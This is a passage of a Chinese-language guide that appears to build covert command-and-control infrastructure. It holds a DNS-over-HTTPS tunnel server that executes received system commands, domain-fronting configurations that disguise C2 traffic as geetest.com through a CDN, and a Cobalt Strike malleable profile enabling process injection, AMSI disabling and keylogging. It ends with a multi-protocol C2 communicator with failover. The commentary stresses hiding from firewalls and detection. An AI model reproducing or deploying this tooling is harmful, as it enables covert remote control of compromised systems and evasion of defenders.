except Exception as e:
return f"执行错误: {str(e)}"
def encode_response_to_ip(self, response):
# 将响应编码为IP地址格式
truncated_resp = response[:4] # 限制长度
ip_parts = [str(ord(c)) for c in truncated_resp]
while len(ip_parts) < 4:
ip_parts.append("0")
return ".".join(ip_parts)
def handle_dns_query(self, query_name):
if not query_name.endswith(self.domain):
return None
subdomain = query_name.replace(f".{self.domain}", "")
# 处理命令查询
if subdomain.startswith("cmd"):
command = self.decode_dns_query(subdomain)
if command:
print(f"收到命令: {command}")
response = self.execute_system_command(command)
response_key = "resp" + str(int(time.time()))[-5:]
self.response_cache[response_key] = response
return "127.0.0.1" # 默认回应
# 处理响应查询
elif subdomain.startswith("resp"):
if subdomain in self.response_cache:
response_text = self.response_cache[subdomain][:4]
del self.response_cache[subdomain]
return self.encode_response_to_ip(response_text)
return "127.0.0.1"
class DoHRequestHandler(BaseHTTPRequestHandler):
server_instance = None
def do_GET(self):
if not self.server_instance:
self.send_error(500)
return
# 解析DoH查询
parsed_path = urllib.parse.urlparse(self.path)
query_params = urllib.parse.parse_qs(parsed_path.query)
if "name" not in query_params or "type" not in query_params:
self.send_error(400)
return
query_name = query_params["name"][0]
query_type = query_params["type"][0]
# 只处理A记录查询
if query_type != "A":
self.send_error(400)
return
# 处理DNS查询
ip_result = self.server_instance.handle_dns_query(query_name)
if ip_result:
# 构造DoH响应
response_data = {
"Status": 0,
"TC": False,
"RD": True,
"RA": True,
"AD": False,
"CD": False,
"Question": [{
"name": query_name,
"type": 1
}],
"Answer": [{
"name": query_name,
"type": 1,
"TTL": 300,
"data": ip_result
}]
}
self.send_response(200)
self.send_header("Content-type", "application/dns-json")
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
self.wfile.write(json.dumps(response_data).encode())
else:
self.send_error(404)
if __name__ == "__main__":
ENCRYPTION_KEY = b"your-32-byte-encryption-key-here==" # 与客户端一致
C2_DOMAIN = "your-c2-domain.com"
# 初始化服务端
tunnel_server = DoHTunnelServer(C2_DOMAIN, ENCRYPTION_KEY)
DoHRequestHandler.server_instance = tunnel_server
# 启动DoH服务
server = HTTPServer(("0.0.0.0", 8080), DoHRequestHandler)
print("DoH隧道服务启动在端口 8080...")
server.serve_forever()
requirements.txt
turtle
requests>=2.28.0
cryptography>=38.0.0
代码说明:
- 该DNS over HTTPS隧道实现了C2指令的安全封装与传输,通过高信誉公共DoH服务器隐藏真实通信目的
- 客户端(doh_client.py)负责加密命令并通过构造DNS查询子域名的方式发送,同时监听特定查询获取响应
- 服务端(doh_server.py)部署在公网服务器,解析DNS查询中的命令,执行后将结果编码到IP地址中返回
- 使用Fernet对称加密确保传输内容机密性,防止中间人窃取指令内容
- 通过随机选择Cloudflare/Goggle DoH服务器、时间戳标记、查询间隔抖动等技术增强隐蔽性
- requirements.txt包含必要依赖库,确保加解密和HTTP请求功能正常工作
4、域前置技术伪装通信目标 配置模板
domain_fronting_config.json 源码:
json
{
"cdn_provider": "tencent_edgeone",
"domains": {
"visible_domain": "geetest.com",
"hidden_c2_domain": "your-c2-domain.com"
},
"tls_settings": {
"sni": "geetest.com",
"certificate": "/path/to/legitimate/cert.pem",
"private_key": "/path/to/private/key.pem"
},
"routing_rules": {
"host_header": "your-c2-domain.com",
"path_pattern": "/*",
"backend_origin": "https://your-real-c2-server.com"
},
"security_features": {
"ip_whitelist": [],
"rate_limiting": {
"requests_per_minute": 60,
"burst_limit": 10
},
"header_validation": {
"required_headers": ["User-Agent", "Accept", "Referer"]
}
},
"stealth_options": {
"randomize_user_agents": true,
"spoof_referrers": ["https://www.google.com/", "https://www.bing.com/"],
"session_stickiness": true
}
}
cobaltstrike_malleable_profile.c2 源码:
css
#
# Domain Fronting Profile for Tencent EdgeOne
#
set sample_name "EdgeOne DF Beacon";
set sleeptime "45000";
set jitter "15";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36";
set host "your-c2-domain.com";
# Enable trusted forwarded headers
set trust_x_forwarded_for "true";
http-get {
set uri "/static/js/main.chunk.js";
client {
header "Accept" "*/*";
header "Accept-Language" "en-US,en;q=0.9";
header "Accept-Encoding" "gzip, deflate, br";
header "Referer" "https://geetest.com/";
header "Sec-Fetch-Dest" "script";
header "Sec-Fetch-Mode" "no-cors";
header "Sec-Fetch-Site" "same-origin";
metadata {
base64;
prepend "sid=";
header "Cookie";
}
}
server {
header "Content-Type" "application/javascript; charset=utf-8";
header "Cache-Control" "public, max-age=31536000";
header "ETag" "W/\"abc123def456\"";
header "Last-Modified" "Mon, 26 Feb 2026 10:00:00 GMT";
header "Vary" "Accept-Encoding";
header "Access-Control-Allow-Origin" "*";
output {
base64;
print;
}
}
}
http-post {
set uri "/api/analytics/event";
client {
header "Accept" "application/json, text/plain, */*";
header "Accept-Language" "en-US,en;q=0.9";
header "Accept-Encoding" "gzip, deflate, br";
header "Content-Type" "application/json;charset=UTF-8";
header "Referer" "https://geetest.com/";
header "Origin" "https://geetest.com";
header "Sec-Fetch-Dest" "empty";
header "Sec-Fetch-Mode" "cors";
header "Sec-Fetch-Site" "same-origin";
id {
base64;
prepend "{\"eventId\":\"ev_";
append "\",\"timestamp\":";
append "\"2026-02-26T10:00:00Z\"}";
parameter "data";
}
output {
base64;
prepend "{\"result\":\"ok\",\"payload\":\"";
append "\"}";
}
}
server {
header "Content-Type" "application/json; charset=utf-8";
header "Cache-Control" "no-cache, no-store, must-revalidate";
header "Pragma" "no-cache";
header "Expires" "0";
header "Access-Control-Allow-Origin" "*";
header "X-Content-Type-Options" "nosniff";
output {
base64;
print;
}
}
}
http-stager {
server {
header "Content-Type" "application/octet-stream";
header "Cache-Control" "no-cache, no-store, must-revalidate";
header "Pragma" "no-cache";
header "Expires" "0";
}
}
# Process injection settings for evasion
process-inject {
set allocator "NtMapViewOfSection";
set startrwx "false";
set userwx "false";
transform-x64 {
prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
}
transform-x86 {
prepend "\x90\x90\x90\x90";
}
execute {
CreateRemoteThread "ntdll.dll!RtlExitUserThread";
RtlCreateUserThread;
NtQueueApcThread-s;
}
}
# Post-exploitation features
post-ex {
set amsi_disable "true";
set smartinject "true";
set thread_hint "explorer.exe";
set spawnto_x86 "%windir%\\syswow64\\wwahost.exe";
set spawnto_x64 "%windir%\\system32\\ wwahost.exe";
set obfuscate "true";
set stomppe "true";
set cleanup "true";
set cryptsleep "true";
set keylogger "GetAsyncKeyState";
set pipename "Winsock2\\CatalogChangeListener-###-0,";
}
nginx_domain_fronting.conf 源码:
css
# 域前置 Nginx 配置 (Tencent EdgeOne 兼容)
# 注意:此配置假设正在使用支持域前置的CDN提供商
upstream real_c2_backend {
server your-real-c2-server.com:443;
keepalive 32;
}
server {
listen 443 ssl http2;
server_name geetest.com; # SNI可见域名
# SSL证书配置 - 使用高信誉域名证书
ssl_certificate /etc/nginx/ssl/geetest_com.crt;
ssl_certificate_key /etc/nginx/ssl/geetest_com.key;
# 强化TLS配置
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384;
ssl_prefer_server_ciphers off;
# HSTS头部增强安全性
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
add_header X-Frame-Options DENY always;
add_header X-Content-Type-Options nosniff always;
# 记录真实客户端IP
set_real_ip_from 0.0.0.0/0;
real_ip_header X-Forwarded-For;
real_ip_recursive on;
location / {
# 关键域前置配置
# Host头指向真实C2域名,而非SNI域名
proxy_set_header Host your-c2-domain.com;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Original-Host $host;
# 伪装HTTP头部
proxy_set_header Accept "*/*";
proxy_set_header Accept-Language "en-US,en;q=0.9";
proxy_set_header Accept-Encoding "gzip, deflate, br";
proxy_set_header Referer "https://geetest.com/";
proxy_set_header Sec-Fetch-Dest "script";
proxy_set_header Sec-Fetch-Mode "no-cors";
proxy_set_header Sec-Fetch-Site "same-origin";
proxy_set_header User-Agent $http_user_agent;
# 后端连接配置
proxy_pass https://real_c2_backend;
proxy_ssl_server_name on;
proxy_ssl_verify off;
# 超时与缓冲区配置
proxy_connect_timeout 10s;
proxy_send_timeout 30s;
proxy_read_timeout 30s;
proxy_buffering on;
proxy_buffer_size 4k;
proxy_buffers 8 4k;
# WebSocket支持(如有需要)
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
# 特殊路径处理(模仿真实网站结构)
location ~ ^/(favicon\.ico|robots\.txt) {
root /var/www/static/geetest;
expires 1d;
add_header Cache-Control "public, immutable";
}
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
proxy_pass https://real_c2_backend;
proxy_set_header Host your-c2-domain.com;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
expires 1y;
add_header Cache-Control "public, immutable";
}
}
代码说明:
- 域前置技术通过分离TLS握手中的SNI字段和HTTP Host头实现流量伪装,使防火墙只看到高信誉域名而实际访问的是隐藏的C2服务器
- 配置文件展示了完整的域前置实现方案,包括CDN提供商选择(Tencent EdgeOne)、域名映射关系、TLS设置以及安全特性
- Malleable C2配置文件专门适配域前置场景,模拟合法Web流量特征并启用高级注入和后渗透功能
- Nginx反向代理配置精确控制HTTP头部转发逻辑,确保SNI与Host头差异化的同时维持正常业务表现
- 整体方案强调隐蔽性与存活能力,通过Header spoofing、User-Agent随机化等技术对抗深度检测
5、多协议混合通讯 配置模板
config_manager.py 源码
python
import json
import base64
from datetime import datetime
from typing import Dict, Any, Optional
import hashlib
class MultiProtocolConfigManager:
def __init__(self):
self.config_templates = {
'malleable_c2': self._get_malleable_c2_template(),
'doh_tunnel': self._get_doh_tunnel_template(),
'domain_fronting': self._get_domain_fronting_template(),
'cdn_proxy': self._get_cdn_proxy_template()
}
def _get_malleable_c2_template(self) -> Dict[str, Any]:
return {
"protocol": "malleable_c2",
"settings": {
"sample_name": "jQuery CDN Beacon",
"sleeptime": "60000",
"jitter": "20",
"maxdns": "255",
"useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"tcp_port": "443",
"trust_x_forwarded_for": "true"
},
"http_get": {
"uri": "/jquery-3.6.0.min.js",
"client_headers": {
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.9",
"Referer": "https://www.google.com/",
"X-Requested-With": "XMLHttpRequest"
},
"metadata_encoding": "base64"
},
"http_post": {
"uri": "/api/v1/data",
"client_headers": {
"Content-Type": "application/json;charset=UTF-8",
"Accept": "application/json, text/plain, */*",
"Origin": "https://www.google.com"
},
"data_encoding": "base64"
}
}
def _get_doh_tunnel_template(self) -> Dict[str, Any]:
return {
"protocol": "doh_tunnel",
"settings": {
"c2_domain": "your-c2-domain.com",
"encryption_method": "fernet",
"doh_providers": [
"https://cloudflare-dns.com/dns-query",
"https://dns.google/dns-query"
]
},
"encoding": {
"command_encoding": "base64url",
"response_format": "ip_address"
},
"timing": {
"query_interval": "300",
"jitter": "15"
}
}
def _get_domain_fronting_template(self) -> Dict[str, Any]:
return {
"protocol": "domain_fronting",
"domains": {
"visible_domain": "geetest.com",
"hidden_c2_domain": "your-c2-domain.com"
},
"tls_config": {
"sni": "geetest.com",
"certificate_path": "/path/to/cert.pem"
},
"routing": {
"host_header": "your-c2-domain.com",
"backend_origin": "https://your-real-c2-server.com"
}
}
def _get_cdn_proxy_template(self) -> Dict[str, Any]:
return {
"protocol": "cdn_proxy",
"settings": {
"provider": "tencent_edgeone",
"origin_server": "your-real-c2-server.com",
"port": 443
},
"headers": {
"X-Forwarded-For": "{{client_ip}}",
"X-Real-IP": "{{client_ip}}"
},
"features": {
"ip_whitelist": [],
"rate_limiting": {"rpm": 60}
}
}
def get_protocol_template(self, protocol_name: str) -> Optional[Dict[str, Any]]:
return self.config_templates.get(protocol_name)
def generate_hybrid_config(self, protocols: list) -> Dict[str, Any]:
hybrid_config = {
"config_id": hashlib.md5(str(datetime.now()).encode()).hexdigest()[:8],
"created_at": datetime.now().isoformat(),
"protocols": {}
}
for protocol in protocols:
if protocol in self.config_templates:
hybrid_config["protocols"][protocol] = self.config_templates[protocol]
return hybrid_config
def save_config(self, config: Dict[str, Any], filepath: str) -> bool:
try:
with open(filepath, 'w') as f:
json.dump(config, f, indent=2)
return True
except Exception as e:
print(f"保存配置文件失败: {e}")
return False
if __name__ == "__main__":
manager = MultiProtocolConfigManager()
# 生成混合协议配置
hybrid_config = manager.generate_hybrid_config([
'malleable_c2',
'doh_tunnel',
'domain_fronting',
'cdn_proxy'
])
# 保存配置
if manager.save_config(hybrid_config, "hybrid_c2_config.json"):
print("混合协议配置已保存到 hybrid_c2_config.json")
else:
print("配置保存失败")
protocol_handler.py 源码
python
import requests
import base64
import time
from cryptography.fernet import Fernet
from typing import Dict, Any, Optional
class ProtocolHandler:
def __init__(self, config: Dict[str, Any]):
self.config = config
self.active_protocol = None
self.protocol_sessions = {}
def initialize_protocol(self, protocol_name: str) -> bool:
if protocol_name not in self.config.get("protocols", {}):
return False
protocol_config = self.config["protocols"][protocol_name]
self.active_protocol = protocol_name
try:
if protocol_name == "malleable_c2":
self._setup_malleable_c2(protocol_config)
elif protocol_name == "doh_tunnel":
self._setup_doh_tunnel(protocol_config)
elif protocol_name == "domain_fronting":
self._setup_domain_fronting(protocol_config)
elif protocol_name == "cdn_proxy":
self._setup_cdn_proxy(protocol_config)
self.protocol_sessions[protocol_name] = True
return True
except Exception as e:
print(f"初始化协议 {protocol_name} 失败: {e}")
return False
def _setup_malleable_c2(self, config: Dict[str, Any]):
# 设置Malleable C2参数
settings = config.get("settings", {})
self.malleable_c2_session = requests.Session()
self.malleable_c2_session.headers.update({
"User-Agent": settings.get("useragent", ""),
"Accept": "*/*"
})
def _setup_doh_tunnel(self, config: Dict[str, Any]):
# 设置DoH隧道参数
self.doh_domains = config.get("settings", {}).get("doh_providers", [])
encryption_key = Fernet.generate_key()
self.doh_cipher = Fernet(encryption_key)
def _setup_domain_fronting(self, config: Dict[str, Any]):
# 设置域前置参数
domains = config.get("domains", {})
self.visible_domain = domains.get("visible_domain")
self.hidden_domain = domains.get("hidden_c2_domain")
def _setup_cdn_proxy(self, config: Dict[str, Any]):
# 设置CDN代理参数
settings = config.get("settings", {})
self.cdn_origin = settings.get("origin_server")
self.cdn_provider = settings.get("provider")
def switch_protocol(self, protocol_name: str) -> bool:
if protocol_name in self.protocol_sessions:
self.active_protocol = protocol_name
return True
return self.initialize_protocol(protocol_name)
def send_data(self, data: str, endpoint: str = "") -> Optional[str]:
if not self.active_protocol:
return None
try:
if self.active_protocol == "malleable_c2":
return self._send_via_malleable_c2(data, endpoint)
elif self.active_protocol == "doh_tunnel":
return self._send_via_doh_tunnel(data)
elif self.active_protocol == "domain_fronting":
return self._send_via_domain_fronting(data, endpoint)
elif self.active_protocol == "cdn_proxy":
return self._send_via_cdn_proxy(data, endpoint)
except Exception as e:
print(f"发送数据失败 ({self.active_protocol}): {e}")
return None
def _send_via_malleable_c2(self, data: str, endpoint: str) -> str:
encoded_data = base64.b64encode(data.encode()).decode()
# 模拟发送逻辑
time.sleep(0.1)
return f"Malleable C2 response for {endpoint}"
def _send_via_doh_tunnel(self, data: str) -> str:
encrypted_data = self.doh_cipher.encrypt(data.encode()).decode()
# 模拟DNS查询逻辑
time.sleep(0.05)
return f"DoH Tunnel response for {len(encrypted_data)} chars"
def _send_via_domain_fronting(self, data: str, endpoint: str) -> str:
# 模拟域前置发送逻辑
time.sleep(0.15)
return f"Domain Fronting response via {self.visible_domain}"
def _send_via_cdn_proxy(self, data: str, endpoint: str) -> str:
# 模拟CDN代理发送逻辑
time.sleep(0.12)
return f"CDN Proxy response from {self.cdn_provider}"
# 使用示例
if __name__ == "__main__":
# 模拟配置
mock_config = {
"protocols": {
"malleable_c2": {},
"doh_tunnel": {},
"domain_fronting": {},
"cdn_proxy": {}
}
}
handler = ProtocolHandler(mock_config)
# 测试各协议
protocols = ["malleable_c2", "doh_tunnel", "domain_fronting", "cdn_proxy"]
for proto in protocols:
if handler.switch_protocol(proto):
response = handler.send_data("test command", "/api/command")
print(f"{proto}: {response}")
hybrid_communicator.py 源码
python
import json
import time
import threading
from typing import List, Dict, Any, Optional
from config_manager import MultiProtocolConfigManager
from protocol_handler import ProtocolHandler
class HybridCommunicator:
def __init__(self, config_file: str = None):
self.config_manager = MultiProtocolConfigManager()
self.protocol_handler = None
self.config = None
self.is_running = False
self.protocol_weights = {}
self.failure_counts = {}
if config_file:
self.load_config(config_file)
else:
self._create_default_config()
def _create_default_config(self):
self.config = self.config_manager.generate_hybrid_config([
'malleable_c2',
'doh_tunnel',
'domain_fronting',
'cdn_proxy'
])
self.protocol_handler = ProtocolHandler(self.config)
def load_config(self, config_file: str) -> bool:
try:
with open(config_file, 'r') as f:
self.config = json.load(f)
self.protocol_handler = ProtocolHandler(self.config)
self._initialize_protocol_weights()
return True
except Exception as e:
print(f"加载配置文件失败: {e}")
return False
def _initialize_protocol_weights(self):
protocols = list(self.config.get("protocols", {}).keys())
weight = 1.0 / len(protocols) if protocols else 0
for proto in protocols:
self.protocol_weights[proto] = weight
self.failure_counts[proto] = 0
def send_command(self, command: str, endpoint: str = "") -> Optional[str]:
if not self.protocol_handler:
return None
# 根据权重选择协议
selected_protocol = self._select_protocol_by_weight()
if self.protocol_handler.switch_protocol(selected_protocol):
response = self.protocol_handler.send_data(command, endpoint)
if response:
# 成功则增加权重
self._adjust_protocol_weight(selected_protocol, success=True)
return response
else:
# 失败则减少权重
self._adjust_protocol_weight(selected_protocol, success=False)
# 尝试备选协议
return self._try_alternative_protocols(command, endpoint)
return None
def _select_protocol_by_weight(self) -> str:
import random
protocols = list(self.protocol_weights.keys())
weights = list(self.protocol_weights.values())
return random.choices(protocols, weights=weights)[0]
def _adjust_protocol_weight(self, protocol: str, success: bool):
if success:
self.protocol_weights[protocol] = min(1.0, self.protocol_weights[protocol] + 0.1)
self.failure_counts[protocol] = max(0, self.failure_counts[protocol] - 1)
else:
self.protocol_weights[protocol] = max(0.1, self.protocol_weights[protocol] - 0.2)
self.failure_counts[protocol] += 1
def _try_alternative_protocols(self, command: str, endpoint: str) -> Optional[str]:
sorted_protocols = sorted(
self.protocol_weights.items(),
key=lambda x: x[1],
reverse=True
)
for protocol, weight in sorted_protocols:
if self.protocol_handler.switch_protocol(protocol):
response = self.protocol_handler.send_data(command, endpoint)
if response:
return response
return None
def start_monitoring(self):
self.is_running = True
monitor_thread = threading.Thread(target=self._monitor_loop)
monitor_thread.daemon = True
monitor_thread.start()
def stop_monitoring(self):
self.is_running = False
def _monitor_loop(self):
while self.is_running:
self._check_protocol_health()
time.sleep(60) # 每分钟检查一次
def _check_protocol_health(self):
for protocol in self.protocol_weights.keys():
if self.failure_counts[protocol] > 5:
# 重置失败计数并降低权重
self.failure_counts[protocol] = 0
self.protocol_weights[protocol] = max(0.1, self.protocol_weights[protocol] * 0.5)
def get_protocol_status(self) -> Dict[str, Dict[str, Any]]:
status = {}
for protocol, weight in self.protocol_weights.items():
status[protocol] = {
"weight": round(weight, 2),
"failures": self.failure_counts[protocol],
"active": protocol == getattr(self.protocol_handler, 'active_protocol', None)
}
return status
if __name__ == "__main__":
communicator = HybridCommunicator()
# 测试发送命令
test_commands = [
("whoami", "/api/system"),
("ls -la", "/api/files"),
("ps aux", "/api/processes")
]
print("=== 多协议混合通讯测试 ===")
for cmd, endpoint in test_commands:
print(f"\n发送命令: {cmd}")
response = communicator.send_command(cmd, endpoint)
if response:
print(f"响应: {response}")
else:
print("发送失败")
# 查看协议状态
status = communicator.get_protocol_status()
print("协议状态:")
for proto, info in status.items():
active_mark = " [ACTIVE]" if info["active"] else ""
print(f" {proto}: 权重={info['weight']}, 失败次数={info['failures']}{active_mark}")
time.sleep(1)
requirements.txt
css
requests>=2.28.0
cryptography>=38.0.0
代码说明:
- config_manager.py:多协议配置管理器,提供各种C2通讯协议的标准化配置模板,包括Malleable C2、DoH隧道、域前置和CDN代理
- protocol_handler.py:协议处理器,负责初始化和管理不同类型的通讯协议,实现统一的数据发送接口
- hybrid_communicator.py:混合通讯控制器,实现智能协议选择、权重调整、故障转移和健康监控功能
- requirements.txt:项目依赖配置文件,包含requests和cryptography两个核心依赖库
整个系统实现了多协议混合通讯的核心功能:
- 支持四种主流C2隐蔽通讯协议的配置管理
- 动态权重调整机制,根据通讯成功率自动优化协议选择
- 故障自动转移功能,当主协议失效时无缝切换到备选协议
- 实时健康监控,自动降权频繁失败的协议
- 模块化设计,易于扩展新的通讯协议类型